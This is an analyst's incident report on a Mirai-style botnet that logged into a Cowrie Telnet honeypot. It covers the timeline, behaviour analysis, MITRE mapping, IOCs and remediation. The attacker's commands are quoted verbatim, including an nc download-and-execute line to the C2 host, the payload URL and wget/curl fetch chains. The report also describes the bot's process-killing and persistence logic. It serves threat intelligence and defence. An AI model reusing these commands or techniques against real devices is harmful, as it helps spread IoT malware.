

INC-2026-005

Mirai-Style IoT Botnet — Telnet Intrusion & Multi-Architecture Payload Deployment

Cowrie Telnet Honeypot | Wazuh SIEM | rpilab (agent 018)

1. INCIDENT OVERVIEW

Ticket ID	INC-2026-005
Title	Mirai-Style IoT Botnet — Telnet Intrusion, Process Killing & Multi-Architecture Payload Deployment
Analyst	Jacek Kaplon
Severity	CRITICAL
Detection Source	Wazuh Manager — Rule 100202 (Telnet Intrusion) + Rule 100203 (Critical Activity)
First Event	2026-07-05 11:25:25 BST — Successful Telnet login from 141.11.88.108
Last Event	2026-07-05 11:54:21 BST — Final architecture probe (armv6l)
Duration	~28 minutes 56 seconds across 4 separate Telnet sessions
Sensor Node	rpilab (agent.id: 018) 192.168.1.26 — Cowrie Telnet honeypot (rebuilt on USB storage)
Classification	TRUE POSITIVE — Automated IoT Botnet Intrusion with Active C2 Communication
Status	CLOSED — IOCs documented, C2 confirmed malicious (VT: 13/91), payload URL confirmed malicious (VT: 11/92)

2. THREAT ACTOR PROFILE

Source IP	141.11.88.108 (AS196364 — Banabyte Srl)
VT Detection (IP)	13/91 engines Malicious: BitDefender (Phishing), Fortinet (Malware), Kaspersky (Malware), Google SafeBrowsing (Malware), GreyNoise (Malicious), CyRadar (Malware), Criminal IP (Malicious), IPsum (Malicious), SOCRadar (Malicious), MalwareURL (Malware), CRDF (Malicious), Lionic (Malicious), G-Data (Phishing)
VT Detection (URL)	11/92 engines flagged http://141.11.88.108:81/pxxe313.sh as Malicious/Phishing (analysis ongoing at time of writing)
Guardpot Intel	7,646 events recorded since 2026-06-24: Telnet activity (3,522 events) + Telnet brute-force login attempts targeting IoT devices (3,724 events). Last active 2026-07-02 07:26 UTC prior to this incident.
Protocol	Telnet (port 23) — first Telnet-protocol intrusion captured by this sensor
C2 Infrastructure	141.11.88.108:81 (HTTP payload delivery) 141.11.88.108:1040 (raw TCP binary download via nc)
Payload Script	pxxe313.sh — executed with argument TelnetSelfrep (explicit self-replication flag)
Target Binaries	xpe.mipsel → xpe.armv4l → xpe.armv5l → xpe.armv6l (sequential multi-arch probing)
Total Events	150 (4× rule 100202 login success 146× rule 100203 critical commands)
Sensor Log	/home/pi/.sysmon/cowrie/var/log/cowrie/cowrie.json

3. ATTACK TIMELINE

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Timeline reconstructed from OpenSearch REST queries against `wazuh-alerts-4.x-2026.07.05`, filtered by `data.src_ip: 141.11.88.108`. All timestamps BST (UTC+1).

- **11:25:25 BST | Rule 100202 (Sev 7) | cowrie.login.success** — Telnet session established. No failed login attempts recorded prior to success — attacker used valid IoT default credentials on the first attempt.
- **11:25:29 BST | Rule 100203 (Sev 10) | Phase 1: Competitive Process Killing** — Bot iterates all running PIDs via `/proc/[0-9]*/maps`. Any process without shared library mappings (`.so`) is classified as competing malware and terminated via `SIGKILL (-9)`. Whitelisted system processes: `ash`, `sh`, `bash`, `telnetd`, `login`, `getty`, `agetty`, `init`, `busybox`.
- **11:25:39 BST | Rule 100203 (Sev 10) | Phase 2: Filesystem Scoring + Payload Download** — Bot reads `/proc/mounts` and assigns a weighted score to each filesystem by type (`ext4=10pts`, `ext3=9`, `jffs2=7`, `ubifs/yaffs=6`, `vfat=5`) and mount point (`/data` or `/etc +5pts`, `/cache +4`, `/mnt +3`), then selects the highest-scoring writable mount for payload persistence. Falls back to `/tmp` if no suitable mount found. Payload download attempted via four-method fallback chain: `wget` → `busybox wget` → `curl` → `busybox curl` from `http://141.11.88.108:81/pxxe313.sh`. Executed as: `chmod 777 cat.sh && sh cat.sh TelnetSelfrep`
- **11:26:29 BST | Rule 100203 (Sev 10) | Phase 3: First Architecture Probe — MIPS** — `echo GET xpe.mipsel | nc 141.11.88.108 1040 > xpe.mipsel; chmod 777 xpe.mipsel; ./xpe.mipsel TelnetSelfrep` Downloads a MIPS little-endian binary via raw TCP on port 1040. Targets legacy routers (MikroTik, TP-Link, D-Link). Execution fails within Cowrie emulation — bot proceeds to ARM variants.
- **11:53:51 – 11:54:21 BST | Rule 100203 (Sev 10) | Phase 4: ARM Architecture Probing** — Sequential probing at approximately 10-second intervals: `xpe.armv4l` → `xpe.armv5l` → `xpe.armv6l`. `armv6l` targets Raspberry Pi 1/Zero specifically — indicating partial fingerprinting of the target architecture before attempting matched-binary execution.
- **11:54:21 BST | Final event** — `armv6l` probe is the last recorded command. All four sessions end without confirmed successful binary execution. Cowrie emulation contained the entire attack lifecycle.

Key observation: The ~28-minute session window reflects the bot's sequential, methodical approach to architecture enumeration. A login-to-first-command latency of approximately 4 seconds and consistent 10-second inter-probe intervals throughout confirm fully automated, non-interactive execution.

4. INVESTIGATION & MALWARE ANALYSIS

Attack Classification: Mirai-family IoT botnet conducting Telnet-based self-replication (the `TelnetSelfrep` argument passed to every executed binary confirms this explicitly). The attack lifecycle is fully automated: credential stuffing → competitive process elimination → weighted filesystem scoring for persistence → multi-method payload download → sequential multi-architecture binary probing. This is a textbook Mirai/Mozi-derivative campaign targeting embedded Linux devices: routers, IP cameras, NAS appliances, and IoT endpoints.

Script Capability Analysis — `pxxe313.sh`:

- **Process killing:** Reads `/proc/[PID]/maps` for each running process. Processes without shared library mappings (`.so`) killed via `SIGKILL`. Preserves: `ash`, `sh`, `bash`, `telnetd`, `login`, `getty`, `agetty`, `init`, `busybox`.
- **Filesystem scoring engine:** Weighted scoring by type (`ext4=10`, `ext3=9`, `ext2=8`, `jffs2=7`, `ubifs/yaffs=6`, `vfat=5`) and mount point (`/data` or `/etc +5`, `/cache +4`, `/mnt/mtd +5`, `/mnt +3`). Selects best writable mount. Falls back to `/tmp`.
- **Multi-method download fallback:** `wget` → `busybox wget` → `curl` → `busybox curl` — ensures download on minimal embedded environments with only `busybox` available.

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- **Multi-architecture binary probing:** mipsel → armv4l → armv5l → armv6l via raw TCP nc port 1040 — covers virtually all embedded Linux targets. armv6l specific to Raspberry Pi 1/Zero.
- **Self-replication:** TelnetSelfrep argument passed to deployed binary — infected device immediately begins scanning for further Telnet-exposed targets to propagate the botnet.

C2 Infrastructure Verification (VirusTotal):

IOC	VT Detection	Context
IP: 141.11.88.108	13/91 Malicious	AS196364 Banabyte Srl Active since 2026-06-24 7,646 events
URL: .../pxxe313.sh	11/92 Malicious	Flagged by BitDefender, Fortinet, Google SafeBrowsing, Criminal IP, IPsum, MalwareURL, CRDF, GreyNoise, CyRadar, SOCRadar, G-Data. IMPORTANT: Server returns HTTP 200 with Content-Type: image/jpeg despite serving a shell script — deliberate content-type spoofing to bypass simple content-filtering controls.

MITRE ATT&CK Mapping:

MITRE ID	Technique	Tactic	Evidence
T1110.001	Brute Force — Password Guessing	Credential Access	Telnet credential stuffing using IoT default credentials
T1078	Valid Accounts	Initial Access	4 successful Telnet logins — valid honeypot credentials accepted
T1562.001	Impair Defenses — Kill Process	Defense Evasion	Competitive process killing: PIDs without .so mappings killed via SIGKILL
T1083	File and Directory Discovery	Discovery	Filesystem enumeration via /proc/mounts to score persistence locations
T1105	Ingress Tool Transfer	C&C;	wget/curl/nc download of pxxe313.sh and xpe.* binaries from C2
T1059	Command & Scripting Interpreter	Execution	Multi-stage bash script per session
T1543	Create/Modify System Process	Persistence	Payload deployed to highest-scoring persistent filesystem mount
T1496	Resource Hijacking	Impact	TelnetSelfrep — botnet self-replication targeting IoT devices

5. CONTAINMENT & REMEDIATION

Containment	Cowrie Telnet honeypot fully contained all sessions — no binary executed, no production system exposed
Payload Status	pxxe313.sh and xpe.* binaries never successfully downloaded — Cowrie returned simulated failure responses
C2 Blocked	141.11.88.108 flagged for blocking at MikroTik edge firewall (all ports)
VT Submission	C2 IP and payload URL submitted to VirusTotal — confirmed malicious (13/91 and 11/92)

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Recommended Actions	Block 141.11.88.108 at network perimeter; monitor for xpe.*/pxxe313 signatures; ensure Telnet (port 23) blocked on all production devices; consider dedicated Wazuh rule for TelnetSelfrep argument pattern
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6. ANALYST COMMENTS & LESSONS LEARNED

This incident marks a significant expansion of the honeypot's detection surface: the first Telnet-protocol intrusion captured since the sensor was rebuilt on USB storage (agent 018, 192.168.1.26). The attacker's tooling represents a mature Mirai-derivative — the weighted filesystem scoring engine alone demonstrates considerably more sophistication than typical spray-and-pray IoT bots, which simply drop payloads to /tmp without regard for persistence. Sequential multi-architecture probing (mipsel → armv4l → armv5l → armv6l) at consistent 10-second intervals is characteristic of automated post-exploitation frameworks designed to maximise infection rate across heterogeneous IoT hardware.

Key observations:

- First Telnet intrusion captured by this sensor — confirms Cowrie's dual-protocol coverage (SSH + Telnet) and the value of monitoring beyond SSH alone
- VirusTotal: C2 IP flagged by 13/91 engines including Kaspersky, Fortinet, BitDefender, and Google SafeBrowsing — independently corroborated as a well-established malicious actor
- Guardpot community intelligence: 7,646 events recorded since 2026-06-24 across two attack vectors — this is a persistent, ongoing threat campaign, not an isolated scan
- Competitive process killing (Phase 1) reveals awareness of shared IoT infrastructure — multiple botnets actively compete for the same device resources, and this tooling is built to eliminate rivals on arrival
- armv6l probing at the end of the architecture sequence (Raspberry Pi 1/Zero specific) suggests partial target fingerprinting had occurred before the matched binary was attempted
- The TelnetSelfrep argument passed to every executed binary explicitly declares self-replication intent — any successfully infected device would immediately begin scanning for further Telnet-exposed targets
- Wazuh rule 100203 fired 146 times across the 28-minute session, capturing every phase of the attack lifecycle without gaps — detection coverage confirmed effective
- Content-type spoofing confirmed via VirusTotal URL scan: C2 server responds with HTTP 200 and Content-Type: image/jpeg despite delivering a shell script — a deliberate technique to bypass content-filtering proxies and file-type inspection at the network perimeter

7. INDICATORS OF COMPROMISE (IOC) SUMMARY

Type	Value	Context
IP Address	141.11.88.108	C2 server — VT 13/91 Malicious AS196364 Banabyte Srl
URL	http://141.11.88.108:81/pxxe313.sh	Payload delivery URL — VT 11/92 Malicious
TCP Endpoint	141.11.88.108:1040	Raw binary download via netcat (xpe.* multi-arch payloads)
File Name	pxxe313.sh	Dropper/installer script — argument: TelnetSelfrep
File Name	xpe.mipsel	MIPS little-endian binary — targets legacy routers

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Type	Value	Context
File Name	xpe.armv4l / xpe.armv5l / xpe.armv6l	ARM variant binaries — armv6l targets Raspberry Pi 1/Zero
Behavioural	TelnetSelfrep (exec argument)	Self-replication flag — confirms botnet propagation intent
Content Spoof	HTTP 200 + Content-Type: image/jpeg	pxxe313.sh served as fake image — content-type spoofing to bypass firewall/proxy content filtering
Behavioural	SIGKILL sweep of /proc/[0-9]*	Competitive process killing — rival malware elimination
Behavioural	Filesystem scoring via /proc/mounts	Weighted persistence location selection (ext4=10pts priority)
Rule IDs	100202 / 100203	Telnet intrusion / critical activity
Protocol	Telnet (port 23)	First Telnet-protocol intrusion on this sensor

8. REFERENCES & RELATED INCIDENTS

- INC-2026-001 — Automated Malware Triage: EICAR Pipeline Validation (VirusTotal integration)
- INC-2026-002 — Unauthorized SSH Access & Post-Compromise Reconnaissance (Brazil, root brute-force)
- INC-2026-003 — Cryptominer Deployment via SSH: 23MB ELF64 'sshd' binary, 37/65 VT engines
- INC-2026-004 — Multi-Source Reconnaissance Campaign & Sandbox-Evasion Fingerprinting Script (4 IPs, shared tooling)
- MITRE ATT&CK: T1110.001, T1078, T1562.001, T1083, T1105, T1059, T1543, T1496
- VirusTotal: [virustotal.com/gui/ip-address/141.11.88.108](https://www.virustotal.com/gui/ip-address/141.11.88.108)
- Cowrie Honeypot documentation: cowrie.readthedocs.io
- Mirai botnet reference: ESET Threat Encyclopedia — Linux/Mirai
- Full project repository: github.com/jacekkaplon/The-Littlefish-Hunter

Jacek Kaplon | SOC Analyst Portfolio [linkedin.com/in/jacek-kaplon](https://www.linkedin.com/in/jacek-kaplon) | github.com/jacekkaplon/The-Littlefish-Hunter